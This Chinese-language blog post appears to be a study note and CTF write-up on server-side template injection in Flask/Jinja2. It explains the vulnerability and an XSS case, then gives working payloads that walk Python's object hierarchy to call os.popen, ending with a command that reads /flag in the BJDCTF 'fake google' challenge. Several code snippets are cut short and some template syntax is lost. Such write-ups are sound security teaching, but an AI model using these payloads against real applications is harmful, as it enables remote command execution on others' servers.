在昨天做BJD那个“萌新“赛的时候,第一道题便是这个模板注入。由于以前没有遇到过,所以今天准备简单的了解一下
ssti漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
模板引擎
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
什么是服务端模板注入
通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,cyzCc。这个时候cyzCc可能就是通过你的身份信息而渲染成html返回到页面。
Flask
简介
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask简单示例
使用python安装完flask模块后,运行下面代码,然后访问127.0.0.1:5000,便可以看到有hello world
的页面。
1 | from flask import Flask |
第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://127.0.0.1:5000时,使用hello函数进行处理响应
路由
route
装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index
的时候,flask会返回hello word
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
1 | return render_template('index.html') |
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
1 | html = '<h1>This is index page</h1>' |
模板
flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下(这个是指的python根目录下,不是www)新建templates
文件夹,这里是用来存放html文件。也就是模板文件
1 | from flask import Flask,url_for,redirect,render_template,render_template_string |
/templates/index.html
1 | <h1>This is index page</h1> |
访问127.0.0.1:5000/index/
的时候,flask就会渲染出index.html的页面。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参
例:
1 | from flask import Flask,url_for,redirect,render_template,render_template_string |
1 | /templates/index.html中写入 |
这个时候页面仍然输出This is index page。
<!–19–>在Jinja2中作为变量包裹标识符。
模板注入
不正确的使用flask中的render_template_string
方法会引发SST
xss利用
1 | from flask import Flask,url_for,redirect,render_template,render_template_string,request |
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code
是用户可控的,会和html拼接后直接带入渲染。
尝试构造code为一串js代码
若将代码改为
1 | from flask import Flask,url_for,redirect,render_template,render_template_string,request |
可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。
模板注入并不局限于xss,它还可以进行其他攻击。
SSTI文件读取/命令执行
在Jinja2模板引擎中,<!–20–>是变量包裹标识符。<!–21–>并不仅仅可以传递变量,还可以执行一些简单的表达式。
1 | from flask import Flask,url_for,redirect,render_template,render_template_string,request |
构造参数8
文件包含
这是通过python的对象的继承来一步步实现文件读取和命令执行的的。
找到父类<type 'object'>
–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法
1 | __class__ 返回类型所属的对象 |
1 、获取字符串的类对象
1 | ''.__class__ > |
2 、寻找基类
1 | >>> ''.__class__.__mro__ |
3 、寻找可用引用
1 | ''.__class__.__mro__[1].__subclasses__() |
4 、利用之
1 | ''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read() |
放到模板里
可以看到读取到了文件。
命令执行
我们可以使用脚本来寻找含有os模块
1 | for a in range(0,444): |
在第118位,然后构造payload
1 | {{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}} |
[BJDCTF 2nd]fake google
打开题目发现是一个谷歌搜索框,随便输入,跳转后查看源码提示ssti
简单测试存在ssti模板注入漏洞
使用脚本判断os模块在第几位
1 | import requests as req |
发现在第117位,构造payload读取flag
1 | {{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}} |